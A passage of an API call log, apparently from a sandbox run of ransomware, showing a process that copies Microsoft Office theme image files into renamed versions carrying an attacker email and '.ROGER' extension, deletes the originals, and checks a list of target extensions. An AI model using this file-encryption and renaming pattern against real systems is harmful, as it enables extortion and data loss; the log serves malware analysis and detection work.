shared\\themes14\\compass\\preview.gif")) returned 0x20 [0047.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.878] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.878] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.880] GetLastError () returned 0x0 [0047.880] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x50d, lpOverlapped=0x0) returned 1 [0047.881] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x510, lpOverlapped=0x0) returned 1 [0047.882] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.882] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.882] SetEndOfFile (hFile=0x3a0) returned 1 [0047.882] CloseHandle (hObject=0x3a0) returned 1 [0047.882] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.882] SetEndOfFile (hFile=0x390) returned 1 [0047.883] CloseHandle (hObject=0x390) returned 1 [0047.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.883] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString=".doc") returned 4 [0047.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.884] lstrlenW (lpString=".docx") returned 5 [0047.884] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.884] lstrlenW (lpString=".pdf") returned 4 [0047.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.884] lstrlenW (lpString=".xls") returned 4 [0047.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.884] lstrlenW (lpString=".xlsx") returned 5 [0047.884] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.884] lstrlenW (lpString=".ppt") returned 4 [0047.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString=".zip") returned 4 [0047.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.884] lstrlenW (lpString=".rar") returned 4 [0047.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.884] lstrlenW (lpString=".bz2") returned 4 [0047.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.884] lstrlenW (lpString=".7z") returned 3 [0047.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString=".dbf") returned 4 [0047.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString=".1cd") returned 4 [0047.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.884] lstrlenW (lpString=".jpg") returned 4 [0047.884] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString=".doc") returned 4 [0047.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.885] lstrlenW (lpString=".docx") returned 5 [0047.885] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.885] lstrlenW (lpString=".pdf") returned 4 [0047.885] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString=".xls") returned 4 [0047.885] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString=".xlsx") returned 5 [0047.885] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.885] lstrlenW (lpString=".ppt") returned 4 [0047.885] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString=".zip") returned 4 [0047.885] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString=".rar") returned 4 [0047.885] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.885] lstrlenW (lpString=".bz2") returned 4 [0047.885] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.885] lstrlenW (lpString=".7z") returned 3 [0047.885] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString=".dbf") returned 4 [0047.885] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString=".1cd") returned 4 [0047.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0047.885] lstrlenW (lpString=".jpg") returned 4 [0047.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.886] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.886] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.886] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=20575) returned 1 [0047.886] CloseHandle (hObject=0x390) returned 1 [0047.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0047.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.886] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.886] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.887] GetLastError () returned 0x0 [0047.887] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x505f, lpOverlapped=0x0) returned 1 [0048.017] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5060, lpOverlapped=0x0) returned 1 [0048.019] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.019] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.019] SetEndOfFile (hFile=0x3a0) returned 1 [0048.019] CloseHandle (hObject=0x3a0) returned 1 [0048.019] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.019] SetEndOfFile (hFile=0x390) returned 1 [0048.020] CloseHandle (hObject=0x390) returned 1 [0048.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.020] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0048.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.021] lstrlenW (lpString=".doc") returned 4 [0048.021] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.021] lstrlenW (lpString=".docx") returned 5 [0048.021] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.021] lstrlenW (lpString=".pdf") returned 4 [0048.021] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.021] lstrlenW (lpString=".xls") returned 4 [0048.021] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.021] lstrlenW (lpString=".xlsx") returned 5 [0048.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.021] lstrlenW (lpString=".ppt") returned 4 [0048.021] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.021] lstrlenW (lpString=".zip") returned 4 [0048.021] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.021] lstrlenW (lpString=".rar") returned 4 [0048.021] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.021] lstrlenW (lpString=".bz2") returned 4 [0048.021] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.021] lstrlenW (lpString=".7z") returned 3 [0048.021] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".dbf") returned 4 [0048.022] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".1cd") returned 4 [0048.022] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".jpg") returned 4 [0048.022] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".doc") returned 4 [0048.022] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString=".docx") returned 5 [0048.022] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.022] lstrlenW (lpString=".pdf") returned 4 [0048.022] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString=".xls") returned 4 [0048.022] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.022] lstrlenW (lpString=".xlsx") returned 5 [0048.022] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.022] lstrlenW (lpString=".ppt") returned 4 [0048.022] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".zip") returned 4 [0048.022] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.022] lstrlenW (lpString=".rar") returned 4 [0048.022] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.022] lstrlenW (lpString=".bz2") returned 4 [0048.022] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.022] lstrlenW (lpString=".7z") returned 3 [0048.022] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.022] lstrlenW (lpString=".dbf") returned 4 [0048.023] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.023] lstrlenW (lpString=".1cd") returned 4 [0048.023] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.023] lstrlenW (lpString=".jpg") returned 4 [0048.023] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.023] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.023] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.023] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3957) returned 1 [0048.023] CloseHandle (hObject=0x390) returned 1 [0048.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0048.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.178] GetLastError () returned 0x0 [0048.178] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xf75, lpOverlapped=0x0) returned 1 [0048.179] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf80, lpOverlapped=0x0) returned 1 [0048.180] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.180] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.181] SetEndOfFile (hFile=0x358) returned 1 [0048.181] CloseHandle (hObject=0x358) returned 1 [0048.181] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.181] SetEndOfFile (hFile=0x390) returned 1 [0048.181] CloseHandle (hObject=0x390) returned 1 [0048.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0048.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.182] lstrlenW (lpString=".doc") returned 4 [0048.182] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.182] lstrlenW (lpString=".docx") returned 5 [0048.182] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.182] lstrlenW (lpString=".pdf") returned 4 [0048.182] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.182] lstrlenW (lpString=".xls") returned 4 [0048.182] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.182] lstrlenW (lpString=".xlsx") returned 5 [0048.182] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.182] lstrlenW (lpString=".ppt") returned 4 [0048.182] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.182] lstrlenW (lpString=".zip") returned 4 [0048.182] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString=".rar") returned 4 [0048.183] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString=".bz2") returned 4 [0048.183] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.183] lstrlenW (lpString=".7z") returned 3 [0048.183] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString=".dbf") returned 4 [0048.183] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString=".1cd") returned 4 [0048.183] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString=".jpg") returned 4 [0048.183] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString=".doc") returned 4 [0048.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.183] lstrlenW (lpString=".docx") returned 5 [0048.183] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.183] lstrlenW (lpString=".pdf") returned 4 [0048.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString=".xls") returned 4 [0048.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString=".xlsx") returned 5 [0048.183] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.183] lstrlenW (lpString=".ppt") returned 4 [0048.183] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.183] lstrlenW (lpString=".zip") returned 4 [0048.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.184] lstrlenW (lpString=".rar") returned 4 [0048.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.184] lstrlenW (lpString=".bz2") returned 4 [0048.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.184] lstrlenW (lpString=".7z") returned 3 [0048.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.184] lstrlenW (lpString=".dbf") returned 4 [0048.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.184] lstrlenW (lpString=".1cd") returned 4 [0048.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0048.184] lstrlenW (lpString=".jpg") returned 4 [0048.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.184] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.184] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.185] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1347) returned 1 [0048.185] CloseHandle (hObject=0x390) returned 1 [0048.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 